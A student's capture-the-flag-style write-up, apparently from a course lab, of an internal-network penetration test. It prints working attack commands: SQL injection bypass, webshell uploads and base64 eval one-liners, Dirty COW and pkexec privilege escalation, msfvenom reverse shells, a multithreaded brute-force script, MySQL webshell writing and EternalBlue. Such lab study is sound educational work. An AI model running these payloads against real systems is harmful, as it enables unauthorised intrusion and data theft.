7

记一次内网渗透测试实训总结

 2 years ago
source link: https://fanygit.github.io/2022/06/19/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%AE%9E%E8%AE%AD%E6%80%BB%E7%BB%93/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

时间很快就来到了学期的最后一个月,和上学期一样,最后的几周是实训周,而这次实训恰好就是我比较喜欢的网络攻防,因为之前学过相关的知识,做过一些靶场,相比于其他同学做起来要快些,不过内网渗透也还是头一次,得益于这次的内网渗透靶场环境,小小地体验了一下,期间也踩了许多坑,也陆陆续续地解决掉了。所以就以本篇文章做个总结,目的在于梳理所学到地知识点和分享。

环境&工具

物理机 (win 10) ip:172.20.10.1

工具:蚁剑火狐(hackbar插件)

攻击机(kali) ip:172.20.10.129

工具:MSF框架Burpsuite冰蝎weevelyNmapProxychains4

靶场拓扑图

首先需要拿到一个入口地址

在FW中查看

这个是Web服务器的外网地址 10.100.1.104,直接访问是访问不到的,需要使用老师给的vpn。

这里直接在kali中配置vpn,

得到一个10.200.0.77地址。(这里得到的地址会经常变,后面操作的时候可能会不一致)

渗透测试web服务器

刚刚通过查看FW防火墙的配置拿到了web服务器的地址10.100.1.104

端口扫描

nmap -sT 10.100.1.104 -sV
# sT tcp三次握手扫描(默认为sT)
# sV 扫描服务的版本信息

开放了80端口,web服务器是用Apache 2.2.15,操作系统为Centos

web渗透测试

登录处存在万能密码 or 1=1 #绕过

成功进入到后台管理界面

在用户管理->头像编辑处存在文件上传绕过检测漏洞

使用kali自带的weevely工具生成php后门

weevely generate 123456 backdoor.php

在头像处找到后门的上传地址

连接php后门

weevely http://10.100.1.104/avatar/admin.php 123456

已经成功拿到一个webshell权限

sql注入漏洞分析

刚刚是用sql注入进入的后台,burp抓包发现是请求的login.php文件,接下来对该文件进行分析。

# 省略了无关紧要的代码
<?php
if (isset($_POST['submit'])) {
include 'config/dbconnect.php';

// Get input
$email = $_POST['email'];
$password = md5($_POST['password']);

// Check database
$query = "SELECT username, isadmin FROM users WHERE email = '$email' and password = '$password';";
$result = mysqli_query($conn, $query);

$num = @mysqli_num_rows($result); // The '@' character suppresses errors
if ($num > 0) {
// Feedback for end user
while ($row = mysqli_fetch_assoc($result)) {
$_SESSION['logged'] = true;
$_SESSION['username'] = $row["username"];
if ($row["isadmin"] == 1) {
$_SESSION['isadmin'] = true;
} else {
$_SESSION['isadmin'] = false;
}
header("Location: http://" . $_SERVER['HTTP_HOST'] . "/admin.php?page=dashboard");
}
} else {
// Feedback for end user
$_SESSION['logged'] = false;
echo "<script>$('#login-alert').removeClass('d-none')</script>";
}

mysqli_close($conn);
}
?>

全局变量POST接收了emailpassword,登录的sql语句为

$query = "SELECT username, isadmin FROM users WHERE email = '$email' and password = '$password';";

可以发现没怎么过滤,传入的密码进行md5加密,我们在email处构造的万能密码admin'or 1=1 #,拼接到sql语句中为

$query = "SELECT username, isadmin FROM users WHERE email = 'admin'or 1=1 #' and password = '$password';";

sql语句中#为注释符,这里真正执行的sql语句为

SELECT username, isadmin FROM users WHERE email = 'admin'or 1=1;

'admin' or 1=1 这个where条件,会查询出所有的用户名。

查询得记录值不少于1条就会进入if语句,进而执行$_SESSION['logged'] = true;

if ($num > 0) {
// Feedback for end user
while ($row = mysqli_fetch_assoc($result)) {
$_SESSION['logged'] = true;
$_SESSION['username'] = $row["username"];
if ($row["isadmin"] == 1) {
$_SESSION['isadmin'] = true;
} else {
$_SESSION['isadmin'] = false;
}
header("Location: http://" . $_SERVER['HTTP_HOST'] . "/admin.php?page=dashboard");
}
} else {
// Feedback for end user
$_SESSION['logged'] = false;
echo "<script>$('#login-alert').removeClass('d-none')</script>";
}

而后访问admin.php,只会对$_SESSION['logged']进行验证。所以成功登录了后台。

<?php
session_start();
if (!(isset($_SESSION['logged']) && $_SESSION['logged'])) {
header("Location: http://" . $_SERVER['HTTP_HOST'] . "/login.php");
}
?>

文件上传漏洞分析

后面是使用了文件上传漏洞绕过文件类型检测上传了php木马。通过burp发现,最终请求了users.php文件

关键代码逻辑如下

if (isset($_POST['submit'])) {
if (isset($_FILES["file"])) {
// 获取文件后缀名
$tmp = explode(".", $_FILES["file"]["name"]);
$extension = end($tmp);
if ((($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
) {
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
} else {
if (move_uploaded_file($_FILES["file"]["tmp_name"], "avatar/" . "admin" . "." . $extension)) {
echo "头像上传成功";
} else {
echo "头像上传失败";
}
}
} else {
echo "只能上传png格式且小于200KB";
}
}
}

最关键的验证代码为

if ((($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
)

这里只对文件的类型和文件大小进行了验证,并没有对后缀名进行验证。所以这里将Content-Type: image/png 进行绕过即可上传。

我们已经拿到了一个权限为apache的shell,接下来将权限提升到root。

首先查看该Linux的内核版本

uname -a

使用kali中的searchsploit工具搜索版本号为2.6 相关的提权漏洞,Linux中最出名的一个提权漏洞,影响范围Linux kernel >= 2.6.22,直接搜关键字dirty.

searchsploit 2.6 | grep -i "dirty"

拷贝到当前路径下

searchsploit -m 40839 .

接下来通过weevely工具将40839.c文件上传到web服务器的/tmp路径下

:file_upload /home/kali/40839.c /tmp/40839.c

40839.c文件中可以找到编译该这个脚本的方式

gcc -pthread 40839.c -o dirty -lcrypt

赋予执行权限&执行

chmod +x dirty
./dirty 123456

已经执行了但是没有回显,直接Ctrl+C断掉中断,再重连,通过查看cat /etc/passwd看看是否替换掉了root用户

发现已经成功变成了firefart用户,说明已经提权成功。

ssh连接查看flag

因为防火墙的只放行了80端口,不能直接通过远程主机的22端口进行ssh连接,所以我们需要用msf做一个端口转发,将web服务器的22端口转发到本地的2222端口。

接下来使用msfvenom生成一个linux后面文件

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.200.0.47 lport=9876 -f elf > shell9876

通过weevely将后门文件shell9876上传至web靶机的/tmp目录下

:file_upload /home/kali/shell9876 /tmp/shell

接下来打开msfconsole进行监听

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 9876
run

回到weevely界面中,赋予shell执行权限并执行

chmod +x shell&./shell

回到msfconsole终端下

已经成功反弹(这里仔细看的话会发现反弹ip地址不对,是因为ip地址临时变了一次)

接下来将web服务器的22端口转发到本地的2222端口

portfwd add -l 2222 -r 127.0.0.1 -p 22

接下来直接ssh连接127.0.0.1,端口为 2222,密码为123456

ssh [email protected] -p 2222

注意:如果要返回到从meterpreter返回到模块配置界面输入background,会返回一个session号,这个在后面配置路由的时候会用到。

内网横向移动

内网横向移动可以通过msf添加路由用msf自带模块扫C段,或者配置socks5代理服务,配置proxychains4用nmap来扫。这里根据分析http请求日志来拿到内网网段。

/var/log/httpd

access_log-20211018日志文件中发现一个网段192.168.223.0

接下来通过 socks5代理的方式,用nmap探测192.168.223.0存活的主机。

在msf中配置路由

route add 192.168.223.0 255.255.255.0 1
开启socks5代理服务

使用use auxiliary/server/socks_proxy模块开启sockes5代理服务。

查看1080端口是否开启

netstat -lnt
配置proxychains4

接下来使用proxychains4工具来进行我们的socks5代理,使用这个工具前需要对其配置文件进行配置

配置文件路径/etc/proxychains4.conf,在其末尾添加socks服务的ip 和端口

sudo vim /etc/proxychains4.conf
Namp探测网段主机存活
proxychains4 nmap -sn 192.168.223.0/24
# sP ping扫描
# sn ping探测扫描主机,不进行端口扫描 (测试过对方主机把icmp包都丢弃掉,依然能检测到对方开机状态)

注意:这里有个小坑,用proxychains4代理工具+nmap 进行扫描,扫描出来的ip全都是存活的,在网上没有找到解决这个问题的资料,但也不妨碍继续渗透,可以在proxychains转发日志中发现那些ip是真正存活的。

通过nmap主机发现得到了192.168.223.1192.168.223.3两个ip地址,接下来对223.1进行渗透测试。

内网渗透:OA系统

端口扫描

proxychains4 nmap -sT 192.168.223.1 -sV

目标主机开放了2280端口,发现web服务器为nginx1.18.0 ,操作系统为Ubuntu。接下对web服务进行渗透测试。

web渗透测试

注意:使用kali中的浏览器对192.168.223.1进行访问,需要对浏览器配置socks5代理。

使用kali中的firefox火狐浏览器,我直接使用foxyProxy插件配置代理,方便切换。

配置的socks5代理

一个登录界面

输个123456,登录。

提示密码为5位数,10000-99999之间,需要对登录界面进行爆破。两种方式,一个是使用burp里的intruder模块进行爆破,二是自己写爆破脚本。

第一种方式:使用burp里的intruder模块进行爆破

注意 :需要给浏览器配置socks5代理才能访问192.168.223.1,但是想要使用burp进行抓包,需要浏览器配置burp的代理,如果配置了burp的代理就不能访问了192.168.223.1,所以我们需要对burp进行配置一个前置代理。也就是给火狐配置burp的代理,给burp配置内网socks5代理。

burp suite->User options模块下配置

接下来,burp抓取登录包,send to intruder

配置Positions

配置Payloads

注意:kali里的burp suite为社区版,猜测是做了限制,跑起来非常得慢,可以在物理机上使用破解后的burp进行爆破,会快很多,或者自己编写python脚本进行爆破。

爆破成功的截图

第二种方式:自己编写Python爆破脚本

import requests
import queue,threading
import time,sys

flag = 0 # 0代表 未找到 1 代表找到


def getPwd():
q = queue.Queue()
for i in range(10000, 99999):
q.put(i)
return q


def exp(pwd):
global flag
url = "http://192.168.223.1/login.php" # 这里为靶机的IP,都一致,不用修改
# 配置代理
proxies = {
"http": "socks5://172.20.10.129:1080" # 1. 这里自己的socks5代理地址
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0",
}
datas = {
"username": "admin",
"password": pwd,
"logintype": 0,
"adminmobile": "",
"adminmobileyzm": "",
"submit": "%E7%99%BB%E5%BD%95",
}
try:
print("[*] passwd:%s"%(pwd))
resp = requests.post(url=url, data=datas, headers=headers, proxies=proxies)
if "用户名或密码错误,密码是5为数字" not in resp.text:
print("[+] username:%s passwd:%s"%(datas["username"], pwd))
flag = 1

except:
print("[-] 请求故障 检查网络或者代理")
time.sleep(2)


if __name__=='__main__':
# 拿到 5位数所有密码
q = getPwd()

# 创建线程池
threads = []
# 输出队列
while not q.empty():
# 创建多线程并启动多线程
for i in range(20): # 2. 这里可以设置线程的大小 默认为20 可以根据电脑配置自行设置
thread = threading.Thread(target=exp, args=(q.get(),), name='thread')
threads.append(thread)
thread.start()

# 设置堵塞
for thread in threads:
thread.join()

# 找到停止
if flag == 1:
time.sleep(2)
import sys
sys.exit()

注意:需要在脚本的第20行修改为自己的socks代理,线程默认为20,可改可不改

拿到密码后,接下来登录后台

存在两个漏洞,可以在头像修改处发现文件上传漏洞,但是上传的文件没有执行权限,在后台页面的存在文件包含漏洞。

文件上传+文件包含getshell

文件上传可以上传,但是对上传路径是没有访问权限。

测试文件包含漏洞

http://192.168.223.1/?page=../../../../../etc/passwd

成功包含出/etc/passwd

上传图片马,我的图片马文件内容为

文件名:shell.php.png

GIF89a
<?php eval($_POST['shell']);?>

不需要抓包,直接将后缀改成png格式,直接上传。在头像出找到头像的路径。

接下来,对该文件进行包含

传参进行测试,(我kali中的firefoxhackbar不太听使唤,这里我直接在win10上对firefox配置kalisocks5代理进行测试)

成功执行了phpinfo();函数。

命令执行写马

我直接通过win10下的蚁剑进行连接,但是一直报错

注意:蚁剑也需要配socks5代理

可以执行命令,但是却连接不上,接下来通过命令执行在网站根目录写一句话木马

echo "PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+" | base64 -d >3.php
# <?php eval($_POST['shell']);?>
http://192.168.223.1/?page=./avatar/admin.png
# post
shell=system('echo "PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+" | base64 -d >3.php');

注意:这里会存在连接不上的情况,需要多次尝试,有机会能连上。

蚁剑连接极其不稳定,这里选择在/tmp目录上传一个linux后门,将shell反弹给msf。

运气比较好,一次就上传成功了,正常情况可能需要多次尝试上传。

打开蚁剑的虚拟终端

切换到/tmp目录下,赋予后门执行权限,可以看到执行了很多次才有反应。

回到MSF下进行监听

成功反弹(在msf的shell下执行命令流畅很多)。

在Meterpreter中执行shell得到的终端一片空白

获得一个带标识得终端

script -qc /bin/bash /dev/null

文件上传分析(直接打包网站源码在win10下进行分析)

if (isset($_POST['submit'])) {
if (isset($_FILES["file"])) {
// 获取文件后缀名
$tmp = explode(".", $_FILES["file"]["name"]);
$extension = end($tmp);
if ((($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
) {
if ($_FILES["file"]["error"] > 0) {
echo "<script>alert(错误:: " . $_FILES["file"]["error"] . "<br>)</script>";
} else {
if (move_uploaded_file($_FILES["file"]["tmp_name"], "avatar/" . 'admin' . "." . $extension)) {
echo "<script>alert('头像上传成功')</script>";
} else {
echo "<script>alert('头像上传失败')</script>";
}
}
} else {
echo "<script>alert('只能上传png格式且小于200KB')</script>";
}
}

跟跳板机web服务器的文件上传一模一样,不多说了,可以通过修改Content-Type进行绕过,唯一不同的是对当前web服务的上传路径没有访问权限。

<?php
if (isset($_GET['page'])) {
$file = $_GET['page'];
include $file;
} else {
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='/?page=grbg.php'</SCRIPT>";
}
?>

从page参数接收文件名,然后对该文件名进行文件包含,可以发现没有任何限制,想怎么玩都可以。

查看数据库配置文件

当我们拿到一个webshell后,虽然权限不高,有很多限制,但是依旧可以通过查看数据库配置文件,拿到数据库的账号密码,然后登录进行查看一些敏感信息。在config/dbconnect.php文件中发现

通过查看数据库配置文件得到mysql服务器的IP用户名密码当前连接的数据库名。意味着我们可以远程连接到192.168.223.3这个主机的mysql服务器。这里先不管,待会再说,先尝试提权。

注意通过测试不能提到root权限,也问了老师,这台靶机可以不用提到root,以下只是尝试的过程

Linux的内核版本为5.4.0,操作系统Ubuntu 20.04,版本比较新,未发现提权漏洞。

看看能不能利用文件有特殊执行权限的suidsgid进行提取

find / -perm -u=s -type f 2>/dev/null  //查找suid文件
find / -perm -g=s -type f 2>/dev/null //查找sgid文件

重点关注到sudopkexec,因为这两个命令被爆出提权漏洞。

根据这篇文章

https://www.geekby.site/2021/01/cve-2021-3156%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

先查看第一个sudo的版本号

刚好符合在影响版本范围内,进行判断

sudoedit -s /

好像并不 存在漏洞。

看起来好像符合漏洞存在的范围,快速判断试试

sudoedit -s /

好像报错了,但是跟存在漏洞的报错又完全不一样。

我按照博客上文章进行提权。

也没有成功。

接下来把希望放在pkexec,CVE号CVE-2021-4034,这是去年才爆出来的的漏洞。

提权脚本 https://github.com/berdav/CVE-2021-4034

成功提到root,还是有点惊喜。

内网渗透:DB服务器渗透

刚刚在查看数据库配置文件的时候发现了192.168.223.3这个IP和数据库的账号密码,接下来对该主机进行渗透测试。

端口扫描

proxychains4 nmap -sT 192.168.223.3 -sV

开启了80221113306端口,操作系统为Centos

web渗透测试

看起来是一个phpMyadmin网站,用来管理mysql数据库的,但是访问连个登录框都没有。

利用Mysql服务写马

接下来用刚刚在配置文件中找的数据库用户名密码进行连接mysql。

proxychains4 mysql -h 192.168.223.3 -u oa -p 144d993ba34367792dfe58370935c4b5

成功登录,接下来看看数据库是否具有读写权限。

select load_file("/etc/passwd");

具有读权限,尝试往网站目录/var/www/html下写一句话木马。

select 1,"666<?php eval($_POST['shell']);?>" into outfile "/var/www/html/shell.php";

成功写入,蚁剑连接(还是会遇到连不上的问题,多连几次就好)

上传Linux后门,反弹到msf

内核版本和跳板机一样,提权步骤也一样。

上传提权脚本

meterpreter >upload /home/kali/40839.c /tmp/40839.c
gcc -pthread 40839.c -o dirty -lcrypt

赋予执行权限并执行

chmod 777 dirty && ./dirty
ssh连接
proxychains4 ssh [email protected]

内网渗透:Windows服务器

最初,我从外网访问到内网的一台web服务器,通过web漏洞上传php后门渗透进入web服务器,上传了Linux后门,反弹到了MSF上,在通过MSF的route add添加了一条192.168.223.0的路由,用use auxiliary/server/socks_proxy 开启socks5的代理服务,利用proxychains4配置代理后,利用nmap192.168.223.0/24网段进行主机发现,扫出192.168.223.1192.168.223.2两个ip,通过文件上传+文件包含的方式拿下了192.168.223.1这台服务器,还剩下192.168.223.2未进行测试,接下来,将对192.168.223.2进行渗透测试。

proxychains4 nmap -sT 192.168.223.2 -sV

可以看到开放了很多端口,主要关注135139445三个端口,重点关注445,17年的永恒之蓝漏洞利用工具就是对该端口进行利用,该主机的操作系统Windows Server 2008 R2

接下来使用代理过后的 msf进行检测

proxychains4 msfconsole

关键字ms17-010搜索利用模块

search ms17-010

可以先使用模块auxiliary/scanner/smb/smb_ms17_010进行检测,再使用exploit/windows/smb/ms17_010_eternalblue进行利用,不过后者再进行利用的时候也会对其先进行检测,所以直接使用exploit/windows/smb/ms17_010_eternalblue模块。

use 0 
# 直接选择搜索出来的模块

注意:这个模块默认使用windows/x64/meterpreter/reverse_tcp作为payload,因为使用了代理,会出现利用成功却不能反弹回来的情况,所以需要将paylaod改为windows/x64/meterpreter/bind_tcp

set RhOSTS 192.168.223.2
set payload windows/x64/meterpreter/bind_tcp

可以发现,该模块先使用了auxiliary/scanner/smb/smb_ms17_010进行了检测,并检测出了永恒之蓝漏洞。但是这里需要注意的是,不一定百分百连接上,很大可能性利用成功却反弹不回来,多尝试几次就可以连上。

尝试了四次才成功

因为445端口是smb服务,而smb服务又是系统服务,从该端口拿到的权限就是管理员权限,所以不需要进行提权。

接下来利用MSF的run post/windows/manage/enable_rdp模块开启windows主机的3389远程桌面

run post/windows/manage/enable_rdp  #开启远程桌面

添加一个用户

run post/windows/manage/enable_rdp USERNAME=fany PASSWORD=123456 #添加用户

将windwos服务器的3389转发到攻击机kali的6662端口

run post/windows/manage/enable_rdp FORWARD=true LPORT=3389  #将windows服务器的3389端口转发到kali的3389端口

接下来,通过win10下的远程桌面连接(mstsc.exe)工具连接到kali的3389端口

也可以直接在kali执行

rdesktop -u fany -p 123456 127.0.0.1:3389
永恒之蓝方程式的原生稳定利用方式

因为挂了代理,MSF利用起来不是很稳定,有的同学可能有点完美主义,觉得需要多次尝试不够帅气,有没有一次并且很稳定利用成功的方法呢,答案是有,利用shadowbroker工具里的fb.py进行利用,然后通过加载dll的方式加载MSF生成的dll后门,进行反弹。不过我在当前的windows靶机中没有复现成功,报了一个[-] ERROR unrecognized OS string的错误,具体原因参考这篇文章https://captmeelo.com/pentest/2018/06/26/patching-doublepulsar.html,网上相关资料比较少,没继续搞。不过自己在本地搭建的win7环境中,使用该工具能够反弹成功,总之也提供了另一种思路,想学习也可以参考这几篇文章:

https://zhuanlan.zhihu.com/p/153541322

https://blog.51cto.com/hashlinux/2092863

知识点汇总

获得一个带标识得终端

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
script -qc /bin/bash /dev/null

使用EW做反向代理服务器

本地:ew_for_Win.exe -s rcsocks -l 8888 -e 8001
远程:./ew_for_linux64 -s rssocks -d 10.200.0.42 -e 8001

命令执行写马

?shell=system('echo "PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+" | base64 -d >3.php');

Hydra对ssh进行爆破

hydra -l 用户名 -P 密码字典 ssh://IP:Port -f -vV -t 10
# -l 代表指定一个用户名 -L 代表指定一个用户名字典(密码也是一样)
# -f 代表找到后停止
# -vV 展示枚举过程
# -t 线程

正如一个朋友所说,每个靶机拿到权限的难度很容易,但是很容易被一些细节性的知识点给卡死。我开始做的时候也是一样,先是MSF的代理不能代理,然后换成EW做反向代理,但又不够稳定,遇到解析不了的域名直接就会断掉,尤其是使用火狐浏览器,火狐会自动发一些包到它的服务器,在内网环境下,不能出网,也会直接给断掉。后来搞懂了MSF代理的使用后,才好得多。再就是对内网靶机进行渗透的时候,后门传上去,但是却连不上的问题,还有有OA系统那台服务器的提权,最开始没提上去,后面又成功提上去,都是经过了一次次尝试,最后才成功的,其实这个过程即痛苦又挺有意思,学到东西也很有成就感,总之,搞安全就是需要不断学习,不断进步的。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK